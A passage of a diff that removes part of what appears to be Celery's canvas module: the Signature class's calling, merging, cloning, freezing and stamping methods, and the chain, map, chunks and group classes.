*partial_args, **partial_kwargs): - """Shortcut to :meth:`apply_async` using star arguments.""" - return self.apply_async(partial_args, partial_kwargs) - - def apply(self, args=None, kwargs=None, **options): - """Call task locally. - - Same as :meth:`apply_async` but executed the task inline instead - of sending a task message. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # Extra options set to None are dismissed - options = {k: v for k, v in options.items() if v is not None} - # For callbacks: extra args are prepended to the stored args. - args, kwargs, options = self._merge(args, kwargs, options) - return self.type.apply(args, kwargs, **options) - - def apply_async(self, args=None, kwargs=None, route_name=None, **options): - """Apply this task asynchronously. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged - with existing options. - - Returns: - ~@AsyncResult: promise of future evaluation. - - See also: - :meth:`~@Task.apply_async` and the :ref:`guide-calling` guide. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # Extra options set to None are dismissed - options = {k: v for k, v in options.items() if v is not None} - try: - _apply = self._apply_async - except IndexError: # pragma: no cover - # no tasks for chain, etc to find type - return - # For callbacks: extra args are prepended to the stored args. - if args or kwargs or options: - args, kwargs, options = self._merge(args, kwargs, options) - else: - args, kwargs, options = self.args, self.kwargs, self.options - # pylint: disable=too-many-function-args - # Works on this, as it's a property - return _apply(args, kwargs, **options) - - def _merge(self, args=None, kwargs=None, options=None, force=False): - """Merge partial args/kwargs/options with existing ones. - - If the signature is immutable and ``force`` is False, the existing - args/kwargs will be returned as-is and only the options will be merged. - - Stamped headers are considered immutable and will not be merged regardless. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged with existing options. - force (bool): If True, the args/kwargs will be merged even if the signature is - immutable. The stamped headers are not affected by this option and will not - be merged regardless. - - Returns: - Tuple: (args, kwargs, options) - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - if options is not None: - # We build a new options dictionary where values in `options` - # override values in `self.options` except for keys which are - # noted as being immutable (unrelated to signature immutability) - # implying that allowing their value to change would stall tasks - immutable_options = self._IMMUTABLE_OPTIONS - if "stamped_headers" in self.options: - immutable_options = self._IMMUTABLE_OPTIONS.union(set(self.options.get("stamped_headers", []))) - # merge self.options with options without overriding stamped headers from self.options - new_options = {**self.options, **{ - k: v for k, v in options.items() - if k not in immutable_options or k not in self.options - }} - else: - new_options = self.options - if self.immutable and not force: - return (self.args, self.kwargs, new_options) - return (tuple(args) + tuple(self.args) if args else self.args, - dict(self.kwargs, **kwargs) if kwargs else self.kwargs, - new_options) - - def clone(self, args=None, kwargs=None, **opts): - """Create a copy of this signature. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged with - existing options. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # need to deepcopy options so origins links etc. is not modified. - if args or kwargs or opts: - args, kwargs, opts = self._merge(args, kwargs, opts) - else: - args, kwargs, opts = self.args, self.kwargs, self.options - signature = Signature.from_dict({'task': self.task, - 'args': tuple(args), - 'kwargs': kwargs, - 'options': deepcopy(opts), - 'subtask_type': self.subtask_type, - 'immutable': self.immutable}, - app=self._app) - signature._type = self._type - return signature - - partial = clone - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - """Finalize the signature by adding a concrete task id. - - The task won't be called and you shouldn't call the signature - twice after freezing it as that'll result in two task messages - using the same task id. - - The arguments are used to override the signature's headers during - freezing. - - Arguments: - _id (str): Task id to use if it didn't already have one. - New UUID is generated if not provided. - group_id (str): Group id to use if it didn't already have one. - chord (Signature): Chord body when freezing a chord header. - root_id (str): Root id to use. - parent_id (str): Parent id to use. - group_index (int): Group index to use. - - Returns: - ~@AsyncResult: promise of future evaluation. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - opts = self.options - try: - # if there is already an id for this task, return it - tid = opts['task_id'] - except KeyError: - # otherwise, use the _id sent to this function, falling back on a generated UUID - tid = opts['task_id'] = _id or uuid() - if root_id: - opts['root_id'] = root_id - if parent_id: - opts['parent_id'] = parent_id - if 'reply_to' not in opts: - # fall back on unique ID for this thread in the app - opts['reply_to'] = self.app.thread_oid - if group_id and "group_id" not in opts: - opts['group_id'] = group_id - if chord: - opts['chord'] = chord - if group_index is not None: - opts['group_index'] = group_index - # pylint: disable=too-many-function-args - # Works on this, as it's a property. - return self.AsyncResult(tid) - - _freeze = freeze - - def replace(self, args=None, kwargs=None, options=None): - """Replace the args, kwargs or options set for this signature. - - These are only replaced if the argument for the section is - not :const:`None`. - """ - signature = self.clone() - if args is not None: - signature.args = args - if kwargs is not None: - signature.kwargs = kwargs - if options is not None: - signature.options = options - return signature - - def set(self, immutable=None, **options): - """Set arbitrary execution options (same as ``.options.update(…)``). - - Returns: - Signature: This is a chaining method call - (i.e., it will return ``self``). - """ - if immutable is not None: - self.set_immutable(immutable) - self.options.update(options) - return self - - def set_immutable(self, immutable): - self.immutable = immutable - - def _stamp_headers(self, visitor_headers=None, append_stamps=False, self_headers=True, **headers): - """Collect all stamps from visitor, headers and self, - and return an idempotent dictionary of stamps. - - .. versionadded:: 5.3 - - Arguments: - visitor_headers (Dict): Stamps from a visitor method. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - self_headers (bool): - If True, stamps from self.options will be added. - If False, stamps from self.options will be ignored. - headers (Dict): Stamps that should be added to headers. - - Returns: - Dict: Merged stamps. - """ - # Use append_stamps=False to prioritize visitor_headers over headers in case of duplicated stamps. - # This will lose duplicated headers from the headers argument, but that is the best effort solution - # to avoid implicitly casting the duplicated stamp into a list of both stamps from headers and - # visitor_headers of the same key. - # Example: - # headers = {"foo": "bar1"} - # visitor_headers = {"foo": "bar2"} - # _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=True) - # headers["foo"] == ["bar1", "bar2"] -> The stamp is now a list - # _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=False) - # headers["foo"] == "bar2" -> "bar1" is lost, but the stamp is according to the visitor - - headers = headers.copy() - - if "stamped_headers" not in headers: - headers["stamped_headers"] = list(headers.keys()) - - # Merge headers with visitor headers - if visitor_headers is not None: - visitor_headers = visitor_headers or {} - if "stamped_headers" not in visitor_headers: - visitor_headers["stamped_headers"] = list(visitor_headers.keys()) - - # Sync from visitor - _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=append_stamps) - headers["stamped_headers"] = list(set(headers["stamped_headers"])) - - # Merge headers with self.options - if self_headers: - stamped_headers = set(headers.get("stamped_headers", [])) - stamped_headers.update(self.options.get("stamped_headers", [])) - headers["stamped_headers"] = list(stamped_headers) - # Only merge stamps that are in stamped_headers from self.options - redacted_options = {k: v for k, v in self.options.items() if k in headers["stamped_headers"]} - - # Sync from self.options - _merge_dictionaries(headers, redacted_options, aggregate_duplicates=append_stamps) - headers["stamped_headers"] = list(set(headers["stamped_headers"])) - - return headers - - def stamp(self, visitor=None, append_stamps=False, **headers): - """Stamp this signature with additional custom headers. - Using a visitor will pass on responsibility for the stamping - to the visitor. - - .. versionadded:: 5.3 - - Arguments: - visitor (StampingVisitor): Visitor API object. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - headers (Dict): Stamps that should be added to headers. - """ - self.stamp_links(visitor, append_stamps, **headers) - headers = headers.copy() - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_signature(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - return self.set(**headers) - - def stamp_links(self, visitor, append_stamps=False, **headers): - """Stamp this signature links (callbacks and errbacks). - Using a visitor will pass on responsibility for the stamping - to the visitor. - - Arguments: - visitor (StampingVisitor): Visitor API object. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - headers (Dict): Stamps that should be added to headers. - """ - non_visitor_headers = headers.copy() - - # When we are stamping links, we want to avoid adding stamps from the linked signature itself - # so we turn off self_headers to stamp the link only with the visitor and the headers. - # If it's enabled, the link copies the stamps of the linked signature, and we don't want that. - self_headers = False - - # Stamp all of the callbacks of this signature - headers = deepcopy(non_visitor_headers) - for link in maybe_list(self.options.get('link')) or []: - link = maybe_signature(link, app=self.app) - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_callback(link, **headers) or {} - headers = self._stamp_headers( - visitor_headers=visitor_headers, - append_stamps=append_stamps, - self_headers=self_headers, - **headers - ) - link.stamp(visitor, append_stamps, **headers) - - # Stamp all of the errbacks of this signature - headers = deepcopy(non_visitor_headers) - for link in maybe_list(self.options.get('link_error')) or []: - link = maybe_signature(link, app=self.app) - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_errback(link, **headers) or {} - headers = self._stamp_headers( - visitor_headers=visitor_headers, - append_stamps=append_stamps, - self_headers=self_headers, - **headers - ) - link.stamp(visitor, append_stamps, **headers) - - def _with_list_option(self, key): - """Gets the value at the given self.options[key] as a list. - - If the value is not a list, it will be converted to one and saved in self.options. - If the key does not exist, an empty list will be set and returned instead. - - Arguments: - key (str): The key to get the value for. - - Returns: - List: The value at the given key as a list or an empty list if the key does not exist. - """ - items = self.options.setdefault(key, []) - if not isinstance(items, MutableSequence): - items = self.options[key] = [items] - return items - - def append_to_list_option(self, key, value): - """Appends the given value to the list at the given key in self.options.""" - items = self._with_list_option(key) - if value not in items: - items.append(value) - return value - - def extend_list_option(self, key, value): - """Extends the list at the given key in self.options with the given value. - - If the value is not a list, it will be converted to one. - """ - items = self._with_list_option(key) - items.extend(maybe_list(value)) - - def link(self, callback): - """Add callback task to be applied if this task succeeds. - - Returns: - Signature: the argument passed, for chaining - or use with :func:`~functools.reduce`. - """ - return self.append_to_list_option('link', callback) - - def link_error(self, errback): - """Add callback task to be applied on error in task execution. - - Returns: - Signature: the argument passed, for chaining - or use with :func:`~functools.reduce`. - """ - return self.append_to_list_option('link_error', errback) - - def on_error(self, errback): - """Version of :meth:`link_error` that supports chaining. - - on_error chains the original signature, not the errback so:: - - >>> add.s(2, 2).on_error(errback.s()).delay() - - calls the ``add`` task, not the ``errback`` task, but the - reverse is true for :meth:`link_error`. - """ - self.link_error(errback) - return self - - def flatten_links(self): - """Return a recursive list of dependencies. - - "unchain" if you will, but with links intact. - """ - return list(itertools.chain.from_iterable(itertools.chain( - [[self]], - (link.flatten_links() - for link in maybe_list(self.options.get('link')) or []) - ))) - - def __or__(self, other): - """Chaining operator. - - Example: - >>> add.s(2, 2) | add.s(4) | add.s(8) - - Returns: - chain: Constructs a :class:`~celery.canvas.chain` of the given signatures. - """ - if isinstance(other, _chain): - # task | chain -> chain - return _chain(seq_concat_seq( - (self,), other.unchain_tasks()), app=self._app) - elif isinstance(other, group): - # unroll group with one member - other = maybe_unroll_group(other) - # task | group() -> chain - return _chain(self, other, app=self.app) - elif isinstance(other, Signature): - # task | task -> chain - return _chain(self, other, app=self._app) - return NotImplemented - - def __ior__(self, other): - # Python 3.9 introduces | as the merge operator for dicts. - # We override the in-place version of that operator - # so that canvases continue to work as they did before. - return self.__or__(other) - - def election(self): - type = self.type - app = type.app - tid = self.options.get('task_id') or uuid() - - with app.producer_or_acquire(None) as producer: - props = type.backend.on_task_call(producer, tid) - app.control.election(tid, 'task', - self.clone(task_id=tid, **props), - connection=producer.connection) - return type.AsyncResult(tid) - - def reprcall(self, *args, **kwargs): - """Return a string representation of the signature. - - Merges the given arguments with the signature's arguments - only for the purpose of generating the string representation. - The signature itself is not modified. - - Example: - >>> add.s(2, 2).reprcall() - 'add(2, 2)' - """ - args, kwargs, _ = self._merge(args, kwargs, {}, force=True) - return reprcall(self['task'], args, kwargs) - - def __deepcopy__(self, memo): - memo[id(self)] = self - return dict(self) # TODO: Potential bug of being a shallow copy - - def __invert__(self): - return self.apply_async().get() - - def __reduce__(self): - # for serialization, the task type is lazily loaded, - # and not stored in the dict itself. - return signature, (dict(self),) - - def __json__(self): - return dict(self) - - def __repr__(self): - return self.reprcall() - - def items(self): - for k, v in super().items(): - yield k.decode() if isinstance(k, bytes) else k, v - - @property - def name(self): - # for duck typing compatibility with Task.name - return self.task - - @cached_property - def type(self): - return self._type or self.app.tasks[self['task']] - - @cached_property - def app(self): - return self._app or current_app - - @cached_property - def AsyncResult(self): - try: - return self.type.AsyncResult - except KeyError: # task not registered - return self.app.AsyncResult - - @cached_property - def _apply_async(self): - try: - return self.type.apply_async - except KeyError: - return _partial(self.app.send_task, self['task']) - - id = getitem_property('options.task_id', 'Task UUID') - parent_id = getitem_property('options.parent_id', 'Task parent UUID.') - root_id = getitem_property('options.root_id', 'Task root UUID.') - task = getitem_property('task', 'Name of task.') - args = getitem_property('args', 'Positional arguments to task.') - kwargs = getitem_property('kwargs', 'Keyword arguments to task.') - options = getitem_property('options', 'Task execution options.') - subtask_type = getitem_property('subtask_type', 'Type of signature') - immutable = getitem_property( - 'immutable', 'Flag set if no longer accepts new arguments') - - -def _prepare_chain_from_options(options, tasks, use_link): - # When we publish groups we reuse the same options dictionary for all of - # the tasks in the group. See: - # https://github.com/celery/celery/blob/fb37cb0b8/celery/canvas.py#L1022. - # Issue #5354 reported that the following type of canvases - # causes a Celery worker to hang: - # group( - # add.s(1, 1), - # add.s(1, 1) - # ) | tsum.s() | add.s(1) | group(add.s(1), add.s(1)) - # The resolution of #5354 in PR #5681 was to only set the `chain` key - # in the options dictionary if it is not present. - # Otherwise we extend the existing list of tasks in the chain with the new - # tasks: options['chain'].extend(chain_). - # Before PR #5681 we overrode the `chain` key in each iteration - # of the loop which applies all the tasks in the group: - # options['chain'] = tasks if not use_link else None - # This caused Celery to execute chains correctly in most cases since - # in each iteration the `chain` key would reset itself to a new value - # and the side effect of mutating the key did not propagate - # to the next task in the group. - # Since we now mutated the `chain` key, a *list* which is passed - # by *reference*, the next task in the group will extend the list - # of tasks in the chain instead of setting a new one from the chain_ - # variable above. - # This causes Celery to execute a chain, even though there might not be - # one to begin with. Alternatively, it causes Celery to execute more tasks - # that were previously present in the previous task in the group. - # The solution is to be careful and never mutate the options dictionary - # to begin with. - # Here is an example of a canvas which triggers this issue: - # add.s(5, 6) | group((add.s(1) | add.s(2), add.s(3))). - # The expected result is [14, 14]. However, when we extend the `chain` - # key the `add.s(3)` task erroneously has `add.s(2)` in its chain since - # it was previously applied to `add.s(1)`. - # Without being careful not to mutate the options dictionary, the result - # in this case is [16, 14]. - # To avoid deep-copying the entire options dictionary every single time we - # run a chain we use a ChainMap and ensure that we never mutate - # the original `chain` key, hence we use list_a + list_b to create a new - # list. - if use_link: - return ChainMap({'chain': None}, options) - elif 'chain' not in options: - return ChainMap({'chain': tasks}, options) - elif tasks is not None: - # chain option may already be set, resulting in - # "multiple values for keyword argument 'chain'" error. - # Issue #3379. - # If a chain already exists, we need to extend it with the next - # tasks in the chain. - # Issue #5354. - # WARNING: Be careful not to mutate `options['chain']`. - return ChainMap({'chain': options['chain'] + tasks}, - options) - - -@Signature.register_type(name='chain') -class _chain(Signature): - tasks = getitem_property('kwargs.tasks', 'Tasks in chain.') - - @classmethod - def from_dict(cls, d, app=None): - tasks = d['kwargs']['tasks'] - if tasks: - if isinstance(tasks, tuple): # aaaargh - tasks = d['kwargs']['tasks'] = list(tasks) - tasks = [maybe_signature(task, app=app) for task in tasks] - return cls(tasks, app=app, **d['options']) - - def __init__(self, *tasks, **options): - tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) - else tasks) - super().__init__('celery.chain', (), {'tasks': tasks}, **options - ) - self._use_link = options.pop('use_link', None) - self.subtask_type = 'chain' - self._frozen = None - - def __call__(self, *args, **kwargs): - if self.tasks: - return self.apply_async(args, kwargs) - - def __or__(self, other): - if isinstance(other, group): - # unroll group with one member - other = maybe_unroll_group(other) - if not isinstance(other, group): - return self.__or__(other) - # chain | group() -> chain - tasks = self.unchain_tasks() - if not tasks: - # If the chain is empty, return the group - return other - if isinstance(tasks[-1], chord): - # CHAIN [last item is chord] | GROUP -> chain with chord body. - tasks[-1].body = tasks[-1].body | other - return type(self)(tasks, app=self.app) - # use type(self) for _chain subclasses - return type(self)(seq_concat_item( - tasks, other), app=self._app) - elif isinstance(other, _chain): - # chain | chain -> chain - return reduce(operator.or_, other.unchain_tasks(), self) - elif isinstance(other, Signature): - if self.tasks and isinstance(self.tasks[-1], group): - # CHAIN [last item is group] | TASK -> chord - sig = self.clone() - sig.tasks[-1] = chord( - sig.tasks[-1], other, app=self._app) - # In the scenario where the second-to-last item in a chain is a chord, - # it leads to a situation where two consecutive chords are formed. - # In such cases, a further upgrade can be considered. - # This would involve chaining the body of the second-to-last chord with the last chord." - if len(sig.tasks) > 1 and isinstance(sig.tasks[-2], chord): - sig.tasks[-2].body = sig.tasks[-2].body | sig.tasks[-1] - sig.tasks = sig.tasks[:-1] - return sig - elif self.tasks and isinstance(self.tasks[-1], chord) and not isinstance(other, chord): - # CHAIN [last item is chord] | TASK -> chain with chord body. - sig = self.clone() - sig.tasks[-1].body = sig.tasks[-1].body | other - return sig - else: - # chain | task/chord -> chain - # use type(self) for _chain subclasses - return type(self)(seq_concat_item( - self.unchain_tasks(), other), app=self._app) - else: - return NotImplemented - - def clone(self, *args, **kwargs): - to_signature = maybe_signature - signature = super().clone(*args, **kwargs) - signature.kwargs['tasks'] = [ - to_signature(sig, app=self._app, clone=True) - for sig in signature.kwargs['tasks'] - ] - return signature - - def unchain_tasks(self): - """Return a list of tasks in the chain. - - The tasks list would be cloned from the chain's tasks. - All of the chain callbacks would be added to the last task in the (cloned) chain. - All of the tasks would be linked to the same error callback - as the chain itself, to ensure that the correct error callback is called - if any of the (cloned) tasks of the chain fail. - """ - # Clone chain's tasks assigning signatures from link_error - # to each task and adding the chain's links to the last task. - tasks = [t.clone() for t in self.tasks] - for sig in maybe_list(self.options.get('link')) or []: - tasks[-1].link(sig) - for sig in maybe_list(self.options.get('link_error')) or []: - for task in tasks: - task.link_error(sig) - return tasks - - def apply_async(self, args=None, kwargs=None, **options): - # python is best at unpacking kwargs, so .run is here to do that. - args = args if args else () - kwargs = kwargs if kwargs else [] - app = self.app - - if app.conf.task_always_eager: - with allow_join_result(): - return self.apply(args, kwargs, **options) - return self.run(args, kwargs, app=app, **( - dict(self.options, **options) if options else self.options)) - - def run(self, args=None, kwargs=None, group_id=None, chord=None, - task_id=None, link=None, link_error=None, publisher=None, - producer=None, root_id=None, parent_id=None, app=None, - group_index=None, **options): - """Executes the chain. - - Responsible for executing the chain in the correct order. - In a case of a chain of a single task, the task is executed directly - and the result is returned for that task specifically. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - args = args if args else () - kwargs = kwargs if kwargs else [] - app = app or self.app - use_link = self._use_link - if use_link is None and app.conf.task_protocol == 1: - use_link = True - args = (tuple(args) + tuple(self.args) - if args and not self.immutable else self.args) - - # Unpack nested chains/groups/chords - tasks, results_from_prepare = self.prepare_steps( - args, kwargs, self.tasks, root_id, parent_id, link_error, app, - task_id, group_id, chord, group_index=group_index, - ) - - # For a chain of single task, execute the task directly and return the result for that task - # For a chain of multiple tasks, execute all of the tasks and return the AsyncResult for the chain - if results_from_prepare: - if link: - tasks[0].extend_list_option('link', link) - first_task = tasks.pop() - options = _prepare_chain_from_options(options, tasks, use_link) - - result_from_apply = first_task.apply_async(**options) - # If we only have a single task, it may be important that we pass - # the real result object rather than the one obtained via freezing. - # e.g. For `GroupResult`s, we need to pass back the result object - # which will actually have its promise fulfilled by the subtasks, - # something that will never occur for the frozen result. - if not tasks: - return result_from_apply - else: - return results_from_prepare[0] - - # in order for a chain to be frozen, each of the members of the chain individually needs to be frozen - # TODO figure out why we are always cloning before freeze - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - _, results = self._frozen = self.prepare_steps( - self.args, self.kwargs, self.tasks, root_id, parent_id, None, - self.app, _id, group_id, chord, clone=False, - group_index=group_index, - ) - return results[0] - - def stamp(self, visitor=None, append_stamps=False, **headers): - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_chain_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, **headers) - - for task in self.tasks: - task.stamp(visitor, append_stamps, **headers) - - if visitor is not None: - visitor.on_chain_end(self, **headers) - - def prepare_steps(self, args, kwargs, tasks, - root_id=None, parent_id=None, link_error=None, app=None, - last_task_id=None, group_id=None, chord_body=None, - clone=True, from_dict=Signature.from_dict, - group_index=None): - """Prepare the chain for execution. - - To execute a chain, we first need to unpack it correctly. - During the unpacking, we might encounter other chains, groups, or chords - which we need to unpack as well. - - For example: - chain(signature1, chain(signature2, signature3)) --> Upgrades to chain(signature1, signature2, signature3) - chain(group(signature1, signature2), signature3) --> Upgrades to chord([signature1, signature2], signature3) - - The responsibility of this method is to ensure that the chain is - correctly unpacked, and then the correct callbacks are set up along the way. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - tasks (List[Signature]): The tasks of the chain. - root_id (str): The id of the root task. - parent_id (str): The id of the parent task. - link_error (Union[List[Signature], Signature]): The error callback. - will be set for all tasks in the chain. - app (Celery): The Celery app instance. - last_task_id (str): The id of the last task in the chain. - group_id (str): The id of the group that the chain is a part of. - chord_body (Signature): The body of the chord, used to synchronize with the chain's - last task and the chord's body when used together. - clone (bool): Whether to clone the chain's tasks before modifying them. - from_dict (Callable): A function that takes a dict and returns a Signature. - - Returns: - Tuple[List[Signature], List[AsyncResult]]: The frozen tasks of the chain, and the async results - """ - app = app or self.app - # use chain message field for protocol 2 and later. - # this avoids pickle blowing the stack on the recursion - # required by linking task together in a tree structure. - # (why is pickle using recursion? or better yet why cannot python - # do tail call optimization making recursion actually useful?) - use_link = self._use_link - if use_link is None and app.conf.task_protocol == 1: - use_link = True - steps = deque(tasks) - - # optimization: now the pop func is a local variable - steps_pop = steps.pop - steps_extend = steps.extend - - prev_task = None - prev_res = None - tasks, results = [], [] - i = 0 - # NOTE: We are doing this in reverse order. - # The result is a list of tasks in reverse order, that is - # passed as the ``chain`` message field. - # As it's reversed the worker can just do ``chain.pop()`` to - # get the next task in the chain. - while steps: - task = steps_pop() - # if steps is not empty, this is the first task - reverse order - # if i = 0, this is the last task - again, because we're reversed - is_first_task, is_last_task = not steps, not i - - if not isinstance(task, abstract.CallableSignature): - task = from_dict(task, app=app) - if isinstance(task, group): - # when groups are nested, they are unrolled - all tasks within - # groups should be called in parallel - task = maybe_unroll_group(task) - - # first task gets partial args from chain - if clone: - if is_first_task: - task = task.clone(args, kwargs) - else: - task = task.clone() - elif is_first_task: - task.args = tuple(args) + tuple(task.args) - - if isinstance(task, _chain): - # splice (unroll) the chain - steps_extend(task.tasks) - continue - - # TODO why isn't this asserting is_last_task == False? - if isinstance(task, group) and prev_task: - # automatically upgrade group(...) | s to chord(group, s) - # for chords we freeze by pretending it's a normal - # signature instead of a group. - tasks.pop() - results.pop() - try: - task = chord( - task, body=prev_task, - task_id=prev_res.task_id, root_id=root_id, app=app, - ) - except AttributeError: - # A GroupResult does not have a task_id since it consists - # of multiple tasks. - # We therefore, have to construct the chord without it. - # Issues #5467, #3585. - task = chord( - task, body=prev_task, - root_id=root_id, app=app, - ) - if tasks: - prev_task = tasks[-1] - prev_res = results[-1] - else: - prev_task = None - prev_res = None - - if is_last_task: - # chain(task_id=id) means task id is set for the last task - # in the chain. If the chord is part of a chord/group - # then that chord/group must synchronize based on the - # last task in the chain, so we only set the group_id and - # chord callback for the last task. - res = task.freeze( - last_task_id, - root_id=root_id, group_id=group_id, chord=chord_body, - group_index=group_index, - ) - else: - res = task.freeze(root_id=root_id) - - i += 1 - - if prev_task: - if use_link: - # link previous task to this task. - task.link(prev_task) - - if prev_res and not prev_res.parent: - prev_res.parent = res - - if link_error: - for errback in maybe_list(link_error): - task.link_error(errback) - - tasks.append(task) - results.append(res) - - prev_task, prev_res = task, res - if isinstance(task, chord): - app.backend.ensure_chords_allowed() - # If the task is a chord, and the body is a chain - # the chain has already been prepared, and res is - # set to the last task in the callback chain. - - # We need to change that so that it points to the - # group result object. - node = res - while node.parent: - node = node.parent - prev_res = node - self.id = last_task_id - return tasks, results - - def apply(self, args=None, kwargs=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - last, (fargs, fkwargs) = None, (args, kwargs) - for task in self.tasks: - res = task.clone(fargs, fkwargs).apply( - last and (last.get(),), **dict(self.options, **options)) - res.parent, last, (fargs, fkwargs) = last, res, (None, None) - return last - - @property - def app(self): - app = self._app - if app is None: - try: - app = self.tasks[0]._app - except LookupError: - pass - return app or current_app - - def __repr__(self): - if not self.tasks: - return f'<{type(self).__name__}@{id(self):#x}: empty>' - return remove_repeating_from_task( - self.tasks[0]['task'], - ' | '.join(repr(t) for t in self.tasks)) - - -class chain(_chain): - """Chain tasks together. - - Each tasks follows one another, - by being applied as a callback of the previous task. - - Note: - If called with only one argument, then that argument must - be an iterable of tasks to chain: this allows us - to use generator expressions. - - Example: - This is effectively :math:`((2 + 2) + 4)`: - - .. code-block:: pycon - - >>> res = chain(add.s(2, 2), add.s(4))() - >>> res.get() - 8 - - Calling a chain will return the result of the last task in the chain. - You can get to the other tasks by following the ``result.parent``'s: - - .. code-block:: pycon - - >>> res.parent.get() - 4 - - Using a generator expression: - - .. code-block:: pycon - - >>> lazy_chain = chain(add.s(i) for i in range(10)) - >>> res = lazy_chain(3) - - Arguments: - *tasks (Signature): List of task signatures to chain. - If only one argument is passed and that argument is - an iterable, then that'll be used as the list of signatures - to chain instead. This means that you can use a generator - expression. - - Returns: - ~celery.chain: A lazy signature that can be called to apply the first - task in the chain. When that task succeeds the next task in the - chain is applied, and so on. - """ - - # could be function, but must be able to reference as :class:`chain`. - def __new__(cls, *tasks, **kwargs): - # This forces `chain(X, Y, Z)` to work the same way as `X | Y | Z` - if not kwargs and tasks: - if len(tasks) != 1 or is_list(tasks[0]): - tasks = tasks[0] if len(tasks) == 1 else tasks - # if is_list(tasks) and len(tasks) == 1: - # return super(chain, cls).__new__(cls, tasks, **kwargs) - new_instance = reduce(operator.or_, tasks, _chain()) - if cls != chain and isinstance(new_instance, _chain) and not isinstance(new_instance, cls): - return super().__new__(cls, new_instance.tasks, **kwargs) - return new_instance - return super().__new__(cls, *tasks, **kwargs) - - -class _basemap(Signature): - _task_name = None - _unpack_args = itemgetter('task', 'it') - - @classmethod - def from_dict(cls, d, app=None): - return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) - - def __init__(self, task, it, **options): - super().__init__(self._task_name, (), - {'task': task, 'it': regen(it)}, immutable=True, **options - ) - - def apply_async(self, args=None, kwargs=None, **opts): - # need to evaluate generators - args = args if args else () - kwargs = kwargs if kwargs else {} - task, it = self._unpack_args(self.kwargs) - return self.type.apply_async( - (), {'task': task, 'it': list(it)}, - route_name=task_name_from(self.kwargs.get('task')), **opts - ) - - -@Signature.register_type() -class xmap(_basemap): - """Map operation for tasks. - - Note: - Tasks executed sequentially in process, this is not a - parallel operation like :class:`group`. - """ - - _task_name = 'celery.map' - - def __repr__(self): - task, it = self._unpack_args(self.kwargs) - return f'[{task.task}(x) for x in {truncate(repr(it), 100)}]' - - -@Signature.register_type() -class xstarmap(_basemap): - """Map operation for tasks, using star arguments.""" - - _task_name = 'celery.starmap' - - def __repr__(self): - task, it = self._unpack_args(self.kwargs) - return f'[{task.task}(*x) for x in {truncate(repr(it), 100)}]' - - -@Signature.register_type() -class chunks(Signature): - """Partition of tasks into chunks of size n.""" - - _unpack_args = itemgetter('task', 'it', 'n') - - @classmethod - def from_dict(cls, d, app=None): - return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) - - def __init__(self, task, it, n, **options): - super().__init__('celery.chunks', (), - {'task': task, 'it': regen(it), 'n': n}, - immutable=True, **options - ) - - def __call__(self, **options): - return self.apply_async(**options) - - def apply_async(self, args=None, kwargs=None, **opts): - args = args if args else () - kwargs = kwargs if kwargs else {} - return self.group().apply_async( - args, kwargs, - route_name=task_name_from(self.kwargs.get('task')), **opts - ) - - def group(self): - # need to evaluate generators - task, it, n = self._unpack_args(self.kwargs) - return group((xstarmap(task, part, app=self._app) - for part in _chunks(iter(it), n)), - app=self._app) - - @classmethod - def apply_chunks(cls, task, it, n, app=None): - return cls(task, it, n, app=app)() - - -def _maybe_group(tasks, app): - if isinstance(tasks, dict): - tasks = signature(tasks, app=app) - - if isinstance(tasks, (group, _chain)): - tasks = tasks.tasks - elif isinstance(tasks, abstract.CallableSignature): - tasks = [tasks] - else: - if isinstance(tasks, GeneratorType): - tasks = regen(signature(t, app=app) for t in tasks) - else: - tasks = [signature(t, app=app) for t in tasks] - return tasks - - -@Signature.register_type() -class group(Signature): - """Creates a group of tasks to be executed in parallel. - - A group is lazy so you must call it to take action and evaluate - the group. - - Note: - If only one argument is passed, and that argument is an iterable - then that'll be used as the list of tasks instead: this - allows us to use ``group`` with generator expressions. - - Example: - >>> lazy_group = group([add.s(2, 2), add.s(4, 4)]) - >>> promise = lazy_group() # <-- evaluate: returns lazy result. - >>> promise.get() # <-- will wait for the task to return - [4, 8] - - Arguments: - *tasks (List[Signature]): A list of signatures that this group will - call. If there's only one argument, and that argument is an - iterable, then that'll define the list of signatures instead. - **options (Any): Execution options applied to all tasks - in the group. - - Returns: - ~celery.group: signature that when called will then call all of the - tasks in the group (and return a :class:`GroupResult` instance - that can be used to inspect the state of the group). - """ - - tasks = getitem_property('kwargs.tasks', 'Tasks in group.') - - @classmethod - def from_dict(cls, d, app=None): - """Create a group signature from a dictionary 